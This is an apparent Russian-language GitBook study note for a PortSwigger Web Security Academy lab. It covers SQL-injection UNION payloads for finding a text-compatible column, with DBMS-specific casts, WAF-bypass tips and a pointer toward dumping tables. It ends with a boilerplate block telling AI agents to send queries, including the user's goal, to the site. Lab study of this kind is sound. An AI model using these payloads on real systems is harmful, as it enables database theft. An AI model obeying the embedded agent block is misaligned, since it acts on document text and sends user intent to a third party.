> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/sql-injection/union-attack-to-find-a-text-compatible-column.md).

# UNION-атака для поиска столбца, совместимого с текстом

Заметки по UNION-атаке для поиска столбца, совместимого с текстом, для лабораторных работ PortSwigger Web Security Academy, включая процесс эксплуатации, тестирование полезной нагрузки, проверку в Burp Suite и контекст исправления.

### Атака SQL-инъекции с UNION, поиск столбца, содержащего текст

**Цель:** вставьте a `UNION` строку, содержащую тестовое значение (`PjNkGQ`) чтобы определить, какой столбец принимает строки, затем извлечь текстовые данные.

#### (1) Подтвердите количество столбцов (если оно ещё неизвестно)

* Проверьте с `ORDER BY` поэтапно:

  ```sql
  ' ORDER BY 1-- -
  ' ORDER BY 2-- -
  ' ORDER BY 3-- -
  ```

Когда `ORDER BY N` вызывает ошибку, количество столбцов `< N`.

#### 2) Вставьте `UNION` строку, содержащую заданное значение

* Пример для **3 столбцов**:

  ```sql
  ' UNION SELECT NULL, 'PjNkGQ', NULL-- -
  ```

— если ответ показывает `PjNkGQ`, то **2-й столбец** совместим с текстом.

#### 3) Варианты для определения видимого столбца

* Проверьте константу в каждой позиции:

  ```sql
  ' UNION SELECT 'PjNkGQ', NULL, NULL-- -
  ' UNION SELECT NULL, NULL, 'PjNkGQ'-- -
  ```
* Используйте отдельные константы, чтобы определить видимые столбцы:

  ```sql
  ' UNION SELECT 'A','B','C'-- -
  ```

#### (4) Обработка ошибок типов

* Если `UNION` если не проходит из-за несовместимости типов, используйте `NULL` для нетекстовых столбцов или приведите константу в соответствии с СУБД:
* **MySQL / PostgreSQL**:

  ````
  ```sql
  ' UNION SELECT NULL, CAST('PjNkGQ' AS CHAR), NULL-- -
  ```
  ````

  * **MSSQL** :

    ```sql
    ' UNION SELECT NULL, CAST('PjNkGQ' AS VARCHAR(8000)), NULL-- -
    ```
  * **Oracle** :

    ```sql
    ' UNION SELECT NULL, TO_CHAR('PjNkGQ'), NULL-- -
    ```
* Если некоторые столбцы требуют числовых типов, оставьте `NULL` для них и поместите текст только в предполагаемый столбец.

#### 5) Если WAF / фильтр блокирует `UNION`

* Изменяйте комментарии / пробелы: `-- -`, `--`, `/*... */`.
* Собирайте цепочку с помощью функций (например, `CONCAT('P','jNkGQ')`) чтобы обойти строгую нормализацию.

#### (6) Ожидаемый результат

* Ответ содержит `PjNkGQ` → столбец с текстом определён. Далее постройте `UNION SELECT` для перечисления (таблиц/столбцов/дампов).


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ru/web/sql-injection/union-attack-to-find-a-text-compatible-column.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
